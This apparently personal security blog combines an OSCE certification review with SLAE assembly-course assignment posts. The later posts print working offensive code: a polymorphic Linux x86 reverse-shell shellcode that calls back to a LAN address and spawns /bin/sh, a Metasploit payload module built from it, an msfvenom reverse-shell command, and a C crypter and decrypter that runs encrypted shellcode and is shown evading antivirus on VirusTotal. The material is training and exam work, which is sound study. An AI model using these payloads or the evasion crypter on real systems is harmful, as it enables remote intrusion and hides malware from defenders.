Monday, 18 January 2016

My OSCE Review




INTRODUCTION
___________________________________________________
Offensive Security Certified Expert (OSCE) is a certification earned when one passes the exam after following the Cracking The Perimeter (CTP) course. It is more specialised than OSCP, and can be a natural continuation after OSCP. You can read my previous OSCP review to learn about my experience with it.

In this review, I will of course give my experience and opinion about the course and the exam, but will also first cover the path between OSCP and OSCE. Indeed once OSCP achieved, if you want to continue with OSCE, a lot of questions may arise: can I jump directly from one to the other? Should I learn or pratice particular topics? Is there a gap between OSCP and OSCE? How does PWK and CTP courses compare? etc... I wondered myself all of these questions, and I had to read all reviews and ask these very questions to OSCE's as well. Below I will thus cover my own experience for this particular topic, that many OSCP may wonder about.



1. FROM OSCP TO OSCE
___________________________________________________
First of all, there is a challenge one has to do to register for CTP course. You cannot simply register, pay, and start the course. This challenge is there to prevent people not having the sufficient knowledge from hurting themselves with a course and certification above their reach (with their current knowledge). This alone is a strong indicator that there is indeed a gap between OSCP and OSCE. However, for the story, I was still able to find the challenge solution right after OSCP, despite not having the required knowledge. It would have been anyway a wrong idea to register and do the CTP course directly, as I would not have been prepared at all.

After investigating about the required knowledge to know before hand, I then made myself a learning program to follow to get me to the necessary level. Have I not done that, I would have had a nightmare following the CTP course and would have miserably failed the exam. This is based on my personal knowledge level however, and it may not apply to an OSCP already a pentester, and used to find 0-days and develop exploits everyday for the breakfast. If however you got your OSCP but that you never done more than the stack overflow covered in PWK, and you are not particularily fluent in assembly, then the program I followed may be well suited to you as well.

The program described below is done to cover: shellcode, assembly, reversing, and exploit techniques such as stack overflow, SEH, and Egghunter. It is a minimal program which was enough for me as I praticed a lot, but other people like to add more topics such as fuzzing.

1) My first biggest advice is to take the intermediate SecurityTube Linux Assembly Expert (SLAE) certification which can be quickly made depending on time spent on it (3 weeks for me on holidays). It allowed me to learn assembly easily, to build shellcode, learn about polymorphism and encoders, and overall a good knowledge of basic x86 assembly. This is totally security oriented, not a general and boring assembly course. This was what helped me the most and I heartedly recommend it if you want to get the OSCE certification. CTP course per se does not require you to be an assembly expert, but the more you know it, the more you will be able to focus on exercices instead of fighting with assembly.

2) My second advice is after SLAE, to improve your stack overflow knowledge, and learn about SEH and Egghunter, by practising the following exploit developpement tutorial websites:
- http://fuzzysecurity.com/ : Windows Exploit Development Tutorial Series (less detailed)
- http://www.securitysift.com/ : Windows Exploit Development (more details)
- https://www.corelan.be/ : Exploit Writing Tutorials (a lot of details!)

Do all of the exercices about stack overflow, SEH, Egghunter, and Win32 shellcoding. There is no need to learn other kind of exploits as they are not covered in CTP.

3) As a third step, you can go to https://www.exploit-db.com/ and take random stack/SEH/Egghunter exploits and recreate them from scratch by yourself, without reading first and memorising the solution (you may find a different way than the original exploit). Optionally, you could try to find yourself unknown flaws on various softwares (0-days!). To my own surprise, I myself found 3 vulnerabilities, including one remote code execution (CVE-2015-7874) in KiTTY portable software. That was not obvious to me, at first I though it was not exploitable, but after some acrobatic movements I found a way. I used this opportunity as an exercice to practice more, to find my own way of thinking, and to get used to assembly and shellcode.

I did all of the above in 4 months. I could have taken more time if I did SLAE while I was working and not on holidays, or I could have made it shorter if I practiced less by doing less exercices. It is just a matter of being confortable with the aformentioned subjects. If in 2 months you feel absolutly ok, then that's fine. It is totally individual, and depends on you current experience and knowledge. This learning program I designed is just an example I built for myself, that may be useful if you had no idea what to work on.


2. THE COURSE
___________________________________________________
Once you successfully passed the CTP registering challenge and have received your course material, some differences with PWK/OSCP jump out. Firstly, instead of a 350 pages course you have a 150 pages one. This means CTP covers less topics than PWK, but is more specialised (9 topics, more details on the course syllabus). As such, the required learning time is less than PWK, you can go over the course more quickly, but then you can use more time to exercice. CTP was clearly less intense than PWK was for me, also I was much better prepared and I could focus on the topics and enjoy the course. Secondly, in the course there is few gaps or missing parts, to prevent the student to blindly follow the course without thinking and understanding what is talked about. The course is an exercice in itself. Lastly, if you are well prepared the course might seems not that hard, however the course is only a way for you to do more research. Only following the course, and doing once the requested exercices, is a sure way to fail the exam.

The lab is also very different than PWK. There is not plenty of servers to hack, but instead few machines you have full control of, and that will allow you to replicate the course exercices. You are provided with a Backtrack virtual machine, and like PWK you have a VPN connection to your lab. If you enjoyed hunting servers to get your OSCP, you will find CTP to be very different on that point.

Briefly, CTP takes some topics covered in PWK such as XSS/LFI/RCE/AV evasion, go deeper with them, and then add new topics such as SEH/Egghunter/ASLR/Encoding/Router hacking. The exploit modules cover harduous scenario where exploitation is not obvious, or even a nightmare, that require multiple tricks and sorcery to get it working. This is why it is very important to be well prepared before taking CTP to avoid being hit too hard by the course, and be able to follow it mostly fluently. Although there is web modules and one network one about Cisco routers, all of the others require you to live in a debugger. OllyDbg is the debugger used in the course, but I prefered to use Immmunity instead combined with the excellent mona module. I used Immunity for my CTP preparation, then CTP itself, and finally for the OSCE exam.

Regarding the fact that some of the course is dated, I did not find it to be a problem at all. All modules are still very relevant. For instance, the AV evasion module if applied as is will not bypass anymore modern antivirus. However with some custom modifications, it is still perfectly possible to evade even the best AV out there. Also, old tools such as msfpayload and msfencode are used, but nothing prevents you from using msfvenom instead (from Backtrack or from a secondary Kali VM for instance). Of course doing so will require slight modifications sometimes to follow the course and make things working, and can add some headaches, but it is perfectly possible.

Finally, I see CTP as a very exciting course, often seen as "hard" (and somehow it is), but for which, with enough preparation, is really fun to go trough. I finished CTP in 5 weeks, as at the end of each module I did the given exercice multiple times, and I searched for similar exercices I additionaly did. Then, for my revision program, I used the remaining 3 weeks as below.

My pre-exam revision program:
- I took my time to go over the course again starting from scratch, took eventually missing screenshots
- I did again the exercices until I felt really confortable with them
- I did additional exercices
- I automated and scripted everything I could, that I have not already automated while doing the course
- I made additional research on each topics to go further
- I tried to anticipate traps Offensive Security could throw at me in the exam

I have cut my program in 3 weeks, so that I would not go over the course too fast, which allowed me to thoroughly work the 9 topics. I wanted to be able to do any exercice from any topics as naturally as possible to have more time while the exam to think about the problem and the solution, without loosing time remembering how to proceed. I took my notes together, screenshots and visual schemas, scripts, additional research exercices and links, and kept close to me few "trick" scripts or code I made in anticipation to traps I could foresee in the future exam (with little imagination, it is obvious Offsec will have some ambush for you!). Once I felt really prepared, I booked the exam for the January 06 2016.



3. THE EXAM
___________________________________________________
The exam is a 24 48 hours marathon where you have to accomplish some tasks, and reach at least 75 points to pass. There is either "easier" tasks giving a low ammount of points, or the hardest tasks which give you the double. The way the points are distributed over the tasks, you must nearly have them all to pass.

That was to objectively describe the exam

Now, to describe my experience: the exam is brutal, I was sometimes in total despair while the exam, and at multiple times I felt like I was getting nowhere and that it was lost... Before the exam I though I would be so much prepared I would overcome the easiest tasks easily and attack the hardest ones with a great mood, but the exam was much harder than I anticipated. No matter how prepared you are, the exam will be hard. If you are not prepared enough, and just followed the course without mastering what was taught, you will fail the exam. I have read some OSCE reviews arguing about if everything to pass OSCE was in the course or not, and sometimes the answer I have read was "yes and no". To elaborate a bit about this, yes the exam's topics are directly from the course, however to overcome surprises encountered in exam's challenges, external research helps a lot. In all cases, you can only succeed if you mastered what you did learn and if you are able to apply them creatively in unknown situations. I am aware that seems vague, but I cannot be more precise :-)

Now to be more specific about what happened. I started the exam on Wednesday at 10AM. I put so much pressure on my shoulders that I was feeling sick since Tuesday, and I did not have the good night sleep which is advised. Once I received the exam instructions and saw the challenges, I jumped on the "easiest" exercices as I though I would be able to go over them quickly. Of course Offsec did put some obstacles on the way, and I have found that I needed everything I learned from exam preparation to painfully get these challenges. In 7 hours I was able to get them, but with only 30 points I was far from the required 75 points to pass. It put me anyway in a great mood as I did not loose time on them, and I had plenty of remaining time to tackle the hardest ones. Of the two remaining challenges, by reading the instructions one seemed to me much more difficult, as it was about a subject I considered to be my weak spot (although I did practiced it as much as I could). I decided to go for the other one first as I felt more confortable with it. I quickly found the first step, but then it seemed like a deadend. I then went for a quick sleep for 5 hours, and get up and resumed where I left. Sleeping is absolutely necessary, your brain cannot work efficiently without it, even with cafein! Given the fact I was stuck, I looked at every possible angles I could see at that time to see if there was another starting/entry point, but found none. So I found the beginning of the exploitation, but then nothing worked, I was truly stuck... 6 hours after I started this challenge, I realised I was getting nowhere and decided to switch to the other second challenge I did not yet try. Unlike what I expected, I quickly found the first exploitation step. That highlights the fact that you should try every exercice, even if you think you will fail them, as you could do better than you think. However then, I was here too unable to find the following step, everything I learnt and tried fell short...

At that point it was very hard to understand the situation. I prepared as much as I could for the exam, I did additional research and exercices, anticipated everything I could think of, had some nifty tricks and scripts under the belt to help me, but still the challenges were beyond my capabilities... That was the hardest moment, when you realise you are still not good enough to surpass the challenge.

Try Harder. Yes, trying harder is the only possible way, if you badly want the certification, it is not possible to give up. It is a good time to take a break, rest, drink a coffee, walk, why not taking a shower. Then, I resumed the second challenge, and after some tries, I had an idea which led me to more research. Later on, I finally found something very interesting which happened to work! I was finally able to move forward and do the remaining of the challenge quickly, and got my score up to 60 points. I then moved back to the first challenge I was stuck earlier, and resumed my efforts on it. To pass the exam the full 30 points were not needed, only half of it would be enough. However as stuck as I was, I did not have enough points. It was still the second day after one night of sleep, I was not late on my timing, so I tried to relax and be creative. As I had no idea how to proceed, I have written a draft of some possible paths to follow, without having a clear vision of the entire picture. I then went on testing these various paths, and although I had some failures, progressively it narrowed down the possibilities. At the end I was nearly sure of the technique to use to progress, but was still unable to exploit it! The feeling I had at that moment was like trying to make a Rubik's Cube, moving forward step by step, without being sure to reach the end (disclaimer: I'm not good at Rubik's Cube!). Suddenly, out of nowhere, I had the best idea I had in hours as to what was the big picture, how to progress, what it would lead to, and how it should give me a remote shell at the end. Of course it was still a theory, but it all became clear. Then it was just a matter of making it to work, and although I never endured so much pain in an exam, I found one way to get it working. I had to use everything I knew, and learn some new knowledge in the process, but I got it. When you get you remote shell on your last target, after so much suffering, tears and blood, you feel ecstatic!

At that point it was 37 hours after my exam started (23h00 or 11h PM), and although the method I used on the last exercice may not give me full points, even half of it would be ok. I was initially ready to go trough this second night without sleeping, but as I found the solution sooner, I choosed instead to sleep another 5 hours, instead of improving my last challenge solution. The next morning, I started to write my report, which ended up taking most of the day. It was longer than OSCP report, as I have taken a lot of screenshots, and I went on many directions, done many mistakes and had many failures, and the path to every solution was not a straightforward step by step process. I have finished and sent my report around 18h (6h PM).

I was then exhausted, but satisfied of the result. I kept my fingers crossed until I received the result next monday, an email from Offensive Security telling me I successfully passed the exam and got the OSCE certification :-) I was lucky enough to pass it at first try.



CONCLUSION :
___________________________________________________
Going from OSCP to OSCE is definitely possible, even if you are not working in the offensive security field. It requires more work in that case, some perseverence, and a well constructed preparation. The CTP course should not be rushed, even if it easy to go trough it quickly just following it (minus few missing parts you have to figure out yourself). I personally found that taking the 2 months for the course was fine, while other reviews say that 1 month is enough. I think it really depends on your expertise level to begin with. For me, 5 weeks on CTP and 3 weeks for the revision and to prepare the exam was perfect.

The exam is a monster of its own. Different strategies are possible, such as doing the hardest challenges first, get most of the points, and ending with the easiest ones. That worked for me for OSCP, as I nearly did this begining by the challenge giving the most points. However in OSCE exam I would have been in total despair should have I done it that way. Indeed I would have been stuck on the hardest challenges with 0 points in my pocket, that would have been an unbearable path. It is easier to be stuck at something when at least you got the other points, and you are good on the timing. That is my personal opinion though, I have read g0tm1lk review where he apparently found the hardest challenges the easiests, and inversely for the easiest ones. In all cases, taking frequent breaks and resting is essential. While I prefer to work without any music as it distracts me, if you work better with it then go for it. Anything that puts you in a confortable and productive state of mind can only help. The exam is unique in the way you also learn a lot while doing it, as you need to improve your skills while doing the challenges.

I was able to obtain OSCP and OSCE certifications in one year, including the 4 months preparation for CTP. It was a full year dedicated to Offensive Security courses, and what I earned from them is above what I initially expected when starting PWK one year ago. CTP/OSCE is clearly for people who knows learning by themselves, and who are highly motivated and dedicated. CTP course is fun to follow, but OSCE exam is traumatic! However once you earn the coveted certification, it is an extremely rewarding moment, being a recognition of months of hard work.



Cracking The Perimeter course and OSCE exam are a wonderful experience teaching you a lot. I heartedly recommend them.

Thanks for reading.



Wednesday, 12 August 2015

SLAE Bonus #1: Polymorphic Reverse Shell


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is a bonus exercise I added about creating a polymorphic reverse shell metasploit module. Code can be found at my GitHub SLAE repository.


BONUS1. POLYMORPHIC REVERSE SHELL
___________________________________________________
I was very interested by doing a polymorphic version of my reverse shell shellcode done in assignement 2, and create a metasploit module from it. You can find below the assembly of the shellcode, using same techniques than previously talked, so I will not explain them again:

 
; Title: Polymorphic Linux x86 Reverse Shell Shellcode (126 bytes)
; Author: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
  ; Socket creation and handling with socketcall()
        ; socketcall(int call, unsigned long *args)

        ; 1 - creating socket
        ; int socket(int domain, int type, int protocol)
        ; socketfd = socket(2, 1, 0)

        ; eax = 0x66 = socketcall()
        ; ebx = 0x1 = socket()
        ; ecx = ptr to socket's args

        xor ebx, ebx                     ; zero out ebx
        mul ebx                      ; implicit operand eax: zero out eax
        mov al, 0x33
        add al, 0x33                     ; 0x66 = 102 = socketcall()
        mov [esp-4], dword ebx   ; push ebx, 3rd arg: socket protocol = 0
        sub esp, 0x4

        mov bl, 0x1                      ; ebx = 1 = socket() function
        push byte 0x1                    ; 2nd arg: socket type = 1 (SOCK_STREAM)
        push byte 0x2                    ; 1st arg: socket domain = 2 (AF_INET)
        mov ecx, esp                     ; copy stack structure's address to ecx (pointer)
        int 0x80                         ; eax = socket(AF_INET, SOCK_STREAM, 0)

         ; 2 - dup2
        ; int dup2(int oldfd, int newfd)
        ; duplicate our socketfd into fd from 2 to 0  (stdin = 0, stdout = 1, stderror = 2)
        ; stdin/stdout/stderror become the TCP connection

        ; eax = 0x3f = dup2()
        ; ebx = socketfd
        ; ecx = fd (from 2 to 0)

  ;xchg eax, ebx   ; ebx = socketfd, eax = 1
        mov ebx, eax
        mov al, 0x1
        pop ecx     ; ecx = 2 (loop count)
        inc ecx
        pxor mm0, mm1
        dec ecx
dup_jump:
        mov al, 0x4f    ; eax = 63 = dup2()
        sub al, 0x10
        int 0x80    ; dup2(socketfd, ecx)
        inc ecx     ; decrement ecx from stderror to stdin
        sub ecx, 0x2
        jns dup_jump    ; loop until ZF is set

        ; 3 - connect
        ; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
        ; eax = connect(socketfd, [2, port, IP], 16)
        ; returns 0 on success

        ; eax = 0x66 = socketcall()
        ; ebx = 0x3 = connect()
        ; ecx = ptr to bind's args

        mov al, 0x33                     ; 0x66 = 102 = socketcall()
        add al, 0x33

        push dword 0x80f1a8c0            ; 192.168.241.128 Remote IP address
        push word 0x611e                 ; Remote port
        push word 0x0002                 ; sin_family = 2 (AF_INET)
        ;mov ecx, esp   ; ecx = ptr to *addr structure
        xchg ecx, esp
        mov esp, ecx

        push byte 16                     ; addr_len = 16 (structure size)
        push ecx    ; push ptr of args structure
        push ebx    ; ebx = socketfd

        mov bl, 0x4                      ; ebx = 3 = connect()
        dec bl
        mov ecx, esp                     ; save esp into ecx, points to socketfd

        fldz
        int 0x80                         ; eax = connect(socketfd, *addr[2, 7777, IP], 16) = 0 (on success)



        ; 4 - execve /bin/sh
        ; execve(const char *filename, char *const argv[filename], char *const envp[])
        ; execve(/bin//sh, &/bin//sh, 0)

        ; eax = 0xb = execve()
        ; ebx = *filename
        ; ecx = *argv
        ; edx = *envp

        xor eax, eax
        push edx    ; edx = 0x00000000

        ;push dword 0x68732f2f           ; push //sh
        ;push dword 0x6e69622f           ; push /bin (=/bin//sh)
        mov ebx, 0x57621e1e
        add ebx, 0x11111110
        push ebx
        inc dword [esp]

        mov ebx, 0x4c47400c
        add ebx, 0x22222222
        push ebx
        inc dword [esp]

        mov ebx, esp                     ; ebx =  ptr to /bin//sh into ebx
        push edx                         ; edx = 0x00000000
        mov edx, esp    ; edx = ptr to NULL address
        push ebx                         ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh
        mov ecx, esp                     ; ecx points to argv
        mov al, 0xb
        int 0x80                         ; execve /bin/sh



 
Then I made an executable from it, and used a python script I built to convert an objdump disassembly to a metasploit clean module format, that can be inserted into a metasploit module:

#!/usr/bin/python

# Title: ELF to Metasploit converter
# Author: Guillaume Kaddouch
# SLAE-681

import sys, os

try:
    file = sys.argv[1]
except:
    print "you must submit a filename."
    exit()

os.system("objdump -d " + file + " -M intel > ./tmp")

p = open(file + ".payload", "w")
with open("./tmp", "r") as f:
    for line in f:
        r = line.split('\t')
        converted = ""

        if len(r) == 3:
            opcode = r[1].replace(" ", "")
            asm = r[2].replace("   ", " ")
            asm.replace("  ", " ")
            asm = asm[:-1]

            index = 0
            while index < len(opcode):
                converted += "\\x" + opcode[index:index+2]
                index = index + 2

            converted = '  \t    "' + converted + '"' + ' ' * (40 - len(converted))
            buffer = converted + '+#   ' + asm 
            print buffer
            p.write(buffer + '\n')
f.close()
p.close()
 
How to use it (extract):



Then on Kali Linux, create an msf folder into the user's directory:
mkdir -p ~/.msf4/modules/payloads/singles/linux/x86/

Create the payload module, inserting the python script output
nano ~/.msf4/modules/payloads/singles/linux/x86/poly_shell_reverse.rb

Final module looks like this:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

  CachedSize = 126

  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Polymorphic Linux Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        => 'Guillaume Kaddouch - SLAE-681',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LHOST'    => [ 52, 'ADDR' ],
              'LPORT'    => [ 58, 'n'    ],
            },
          'Payload' =>
      "\x31\xdb"                                +#   xor  ebx,ebx
       "\xf7\xe3"                                +#   mul  ebx
       "\xb0\x33"                                +#   mov  al,0x33
       "\x04\x33"                                +#   add  al,0x33
       "\x89\x5c\x24\xfc"                        +#   mov  DWORD PTR [esp-0x4],ebx
       "\x83\xec\x04"                            +#   sub  esp,0x4
       "\xb3\x01"                                +#   mov  bl,0x1
       "\x6a\x01"                                +#   push 0x1
       "\x6a\x02"                                +#   push 0x2
       "\x89\xe1"                                +#   mov  ecx,esp
       "\xcd\x80"                                +#   int  0x80
       "\x89\xc3"                                +#   mov  ebx,eax
       "\xb0\x01"                                +#   mov  al,0x1
       "\x59"                                    +#   pop  ecx
       "\x41"                                    +#   inc  ecx
       "\x0f\xef\xc1"                            +#   pxor mm0,mm1
       "\x49"                                    +#   dec  ecx
       "\xb0\x4f"                                +#   mov  al,0x4f
       "\x2c\x10"                                +#   sub  al,0x10
       "\xcd\x80"                                +#   int  0x80
       "\x41"                                    +#   inc  ecx
       "\x83\xe9\x02"                            +#   sub  ecx,0x2
       "\x79\xf4"                                +#   jns  8048083 
       "\xb0\x33"                                +#   mov  al,0x33
       "\x04\x33"                                +#   add  al,0x33
       "\x68\xc0\xa8\xf1\x80"                    +#   push 0x80f1a8c0
       "\x66\x68\x1e\x61"                        +#   pushw  0x611e
       "\x66\x6a\x02"                            +#   pushw  0x2
       "\x87\xcc"                                +#   xchg esp,ecx
       "\x89\xcc"                                +#   mov  esp,ecx
       "\x6a\x10"                                +#   push 0x10
       "\x51"                                    +#   push ecx
       "\x53"                                    +#   push ebx
       "\xb3\x04"                                +#   mov  bl,0x4
       "\xfe\xcb"                                +#   dec  bl
       "\x89\xe1"                                +#   mov  ecx,esp
       "\xd9\xee"                                +#   fldz 
       "\xcd\x80"                                +#   int  0x80
       "\x31\xc0"                                +#   xor  eax,eax
       "\x52"                                    +#   push edx
       "\xbb\x1e\x1e\x62\x57"                    +#   mov  ebx,0x57621e1e
       "\x81\xc3\x10\x11\x11\x11"                +#   add  ebx,0x11111110
       "\x53"                                    +#   push ebx
       "\xff\x04\x24"                            +#   inc  DWORD PTR [esp]
       "\xbb\x0c\x40\x47\x4c"                    +#   mov  ebx,0x4c47400c
       "\x81\xc3\x22\x22\x22\x22"                +#   add  ebx,0x22222222
       "\x53"                                    +#   push ebx
       "\xff\x04\x24"                            +#   inc  DWORD PTR [esp]
       "\x89\xe3"                                +#   mov  ebx,esp
       "\x52"                                    +#   push edx
       "\x89\xe2"                                +#   mov  edx,esp
       "\x53"                                    +#   push ebx
       "\x89\xe1"                                +#   mov  ecx,esp
       "\xb0\x0b"                                +#   mov  al,0xb
       "\xcd\x80"                                 #   int  0x80

        }
      ))
  end

end
Notice the offset of LHOST and LPORT that must be modified according to your payload. Offset begins at 0, first opcode, and goes up. To test the payload, I choosed to exploit my local PostgreSQL service, by modifying its configuration file to trust local connections, to not requiring authentication. That would be the same case in a real-case scenario where a PostgreSQL installation would be found with default or weak credentials.



Checking our payload information:



Checking all options are set:
set RHOST 127.0.0.1
set LHOST 10.0.0.56



Now exploiting!



Note that setting RHOST to 127.0.0.1 can often gives a Metasploit error about the address being reserved. If you have the problem, set PostgreSQL to listen on the local IP address, and set your address (10.0.0.56 in the above example) as RHOST.

We can see that our polymorphic reverse shell metasploit module is working perfectly, IP address and port are modified in place.

Thanks for reading.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


Tuesday, 11 August 2015

SLAE Assignment #7: Custom Crypter


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the last exercise requested about creating a custom crypter and decrypter. Code can be found at my GitHub SLAE repository.


7.1 CUSTOM CRYPTER
___________________________________________________
Doing his own crypter using a custom encryption is not advised as it is required to be a skilled cryptographer and mathematician to create a strong algorithm. If I have still choosen to create my own algorithm, it was more about having fun doing the required exercise than to reach strong cryptography standard :-) A crypter is written in a higher language than assembly as it would take too much opcodes to be useful in assembly for a shellcode (shellcode would be too big). A crypter is geared toward encrypting executables, but we can still insert our shellcode. Below we will encrypt our previous shellcode displaying "Egg Mark" on screen, but it could be any heavy shellcode instead. Below is a crypter written in C, notice we add \x90 at the end of the shellcode, it will be a marker used by XOR decoding in the decrypter:

 /* 
Custom Crypter XOR / NOT / XOR / INC / Swapping
Author: Guillaume Kaddouch
SLAE-681
*/

#include 
#include 
#include 

// Write "Egg Mark" and exit
unsigned char shellcode[] = \
"\x31\xdb\xf7\xe3\xb0\x04\x6a\x0a\x68\x4d\x61\x72\x6b\x68\x45"
"\x67\x67\x20\xb3\x01\x89\xe1\xb2\x09\xcd\x80\xb0\x01\xcd\x80"
"\x90"; // shellcode end mark;

int shellcode_len=31;

void display(unsigned char* buffer, int buffer_len){
    int counter;
    unsigned char data_byte;

    for (counter=0; counter< buffer_len; counter++)
    {
        data_byte = buffer[counter];
        printf("\\x%02x", data_byte);
    }

}

int main()
{
 int counter;
 int xor_key;
 unsigned char temp;
        unsigned char encrypted[shellcode_len];
        unsigned char decrypted[shellcode_len];

 printf("Shellcode:\n");
 display((unsigned char*)shellcode, shellcode_len);


 /* ---------------- Encryption code ---------------- */
        for (counter=0; counter < shellcode_len; counter++){
  if (shellcode[counter] == 0xaa || (~(shellcode[counter] ^ 0xaa)) == 0xbb){ // XOR = NULL
   printf("Forbidden character in plain or encrypted shellcode found \\x%02x, exiting.", shellcode[counter]);
   exit(0);
  }
  // Encryption of 'A' => A XOR 0xaa | NOT | XOR 0xbb | INC
                encrypted[counter] = (~(shellcode[counter] ^ 0xaa)) ^ 0xbb;
  if (encrypted[counter] < 0xff){
   encrypted[counter] = encrypted[counter] + 0x1;
  }
        }

 // Swapping pair of bytes, e.g: \xda\xef \x31\x56 -> \xef\xda \x56\x31
 for (counter=1; counter < (shellcode_len-1); counter=counter+2){
  // swap two bytes
                temp = encrypted[counter];
         encrypted[counter] = encrypted[counter-1];
                encrypted[counter-1] = temp;

 }

 printf("\n\nEncrypted shellcode:\n");
 display((unsigned char*)encrypted, shellcode_len);

 printf("\n\n");
     return 0;
}

 
There is two stages for encrypting the intial shellcode, first make it pass trough some bitwise encoding instructions, then swap pair of bytes all along. Notice XOR is used twice at two different times with two different keys. Below is the output of the crypter:



The decrypter is more interesting, in the way it has one of the XOR key hardcoded, but not the other. That means it has to brute force one of the keys, in the same logic than Hyperion (known AES Crypter).


/* 
Custom Decrypter XOR / NOT / XOR / INC / Swapping
Author: Guillaume Kaddouch
SLAE-681
*/

#include 
#include 
#include 

// Write "Egg Mark" and exit
unsigned char encrypted[] = \
"\x36\xe0\x0e\x1a\xeb\x5f\xe5\x85\xa4\x87\x9d\x90\x87\x86\x8a\xac\xcf\x8a\xf0\x5e\x10\x68\xe8\x5d\x6f\x24\xf0\x5f\x6f\x24\x7f";

int shellcode_len=31;

void display(unsigned char* buffer, int buffer_len){
 int counter;
     unsigned char data_byte;

     for (counter=0; counter< buffer_len; counter++)
     {
         data_byte = buffer[counter];
         printf("\\x%02x", data_byte);
     }
}

int main()
{
 int counter;
 int xor_key;
 unsigned char temp;
        //unsigned char encrypted[];
        unsigned char decrypted[shellcode_len];

 printf("\n[*] Encrypted Shellcode: ");
 display((unsigned char*)encrypted, shellcode_len);

 /* ---------------- Decryption code ---------------- */

 printf("\n[*] Brute forcing XOR key... ");
 for (xor_key = 1; xor_key < 255; xor_key++)
        {
                if ( (unsigned char)((~((encrypted[shellcode_len-1] - 0x01) ^ xor_key)) ^ 0xaa)  == 0x90 ){
   printf("XOR key found \\x%02x\n", xor_key);
   break; // XOR key found
                }
        }


 // Swapping pair of bytes, e.g: \xda\xef \x31\x56 -> \xef\xda \x56\x31
 for (counter=1; counter < (shellcode_len-1); counter=counter+2){
                // swap two bytes
                temp = encrypted[counter];
                encrypted[counter] = encrypted[counter-1];
                encrypted[counter-1] = temp;

        }

        for (counter=0; counter < shellcode_len; counter++)
        {
  if (encrypted[counter] > 0x00){
                        encrypted[counter] = encrypted[counter] - 0x1;
                }
                decrypted[counter] = (~(encrypted[counter] ^ xor_key)) ^ 0xaa;

        }

  printf("[*] Decrypted shellcode: ");
        display((unsigned char*)decrypted, shellcode_len);

 printf("\n\n[*] Jumping to Shellcode...\n");
 int (*ret)() = (int(*)())decrypted;
        ret();

}


Now we can try to run it to see what happens:



As we can see, the XOR key is successfully brute forced, the shellcode correctly decrypted, and then executed. Ok so, is it finished yet? Not if we want to check if it is any effective at lurring antivirus! Let's take a classic linux/x86/shell_reverse_tcp from Metasploit:

msfvenom -p linux/x86/shell_reverse_tcp LPORT=4444 LHOST=192.168.1.1 -e x86/shikata_ga_nai -b "\x00\xaa\xbb" -f c


Then we put the shellcode in two tests file: one in "avtest.c" being a clear text unencoded/unencrypted shellcode, and one in our CustomCrypter. We will post them both to VirusTotal and see what happens. Our first unprotected file:



We ensure the file is working:



Then we pass it trough our encrypter (just modifying the shellcode and shellcode lenght):





Then we copy the encrypted shellcode into our decoder:



We test the file is working:





Ok now we have two working files, one unprotected and the other encrypted. Let's submit them to VirusTotal:

Unprotected file: linux shellcode detected by 2 AV:


Encrypted file: linux shellcode not detected!


The shellcode I have choosen was not well detected at first, so it is not the best test one could do. However it shows that creating a custom crypter, even very basic, can be effective at not being detected. I did the test again with the same payload not encoded with x86/shikata_ga_nai, and 5 antivirus detected the unprotected file, while none caught the custom crypter.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


SLAE Assignment #6: Polymorphism


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the sixth exercise requested about modifying three shellcode to add polymorphism. Code can be found at my GitHub SLAE repository.


6.1 SHUTDOWN SHELLCODE
___________________________________________________
I selected as first shellcode from shell-storm a "shutdown" one: http://shell-storm.org/shellcode/files/shellcode-876.php

Disassembled code is already given on the shellcode page. Before presenting a polymorphic version of it, let's analyse it first. All comments are on the code. Available also on GitHub:

; Title: shutdown -h now Shellcode - 56 bytes
; Date: 2014-06-27
; Platform: linux/x86
; Author: Osanda Malith Jayathissa (@OsandaMalith)

; Analysis by: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
 ;int execve(const char *filename, char *const argv[], char *const envp[]

 xor eax,eax   ; zero out eax
 xor edx,edx   ; zero out edx
 push eax   ; push NULL terminating string
 push word 0x682d  ; \x2d\x68 = '-h'
 mov edi,esp   ; edi = *ptr '-h'
 push eax   ; push NULL
 push byte 0x6e   ; \x6e = 'n'
 mov word [esp+0x1],0x776f ; \x6f\x55 = 'ow'
 mov edi,esp   ; edi = *argv '-h now'
 push eax   ; push NULL
 push dword 0x6e776f64  ; = 'down'
 push dword 0x74756873  ; = 'shut'
 push dword 0x2f2f2f6e  ; = 'n///'
 push dword 0x6962732f  ; = '/sbi'
 mov ebx,esp   ; ebx = *filename '/sbin///shutdown' 0x00

 push edx   ; push NULL on stack
 push esi   ; value ??
 push edi   ; edi = *argv '-h now'
 push ebx   ; *filename '/sbin///shutdown' 0x00
 mov ecx,esp   ; ecx = *argv[*filename '/sbin///shutdown' '-h'

 ; ebx = *filename
 ; ecx = *argv[*filename, *'-h now']
 ; edx = *envp = 0x00

 mov al,0xb   ; execve() syscall number
 int 0x80   ; execve(*/sbin///shutdown, *-h now, 0x00)
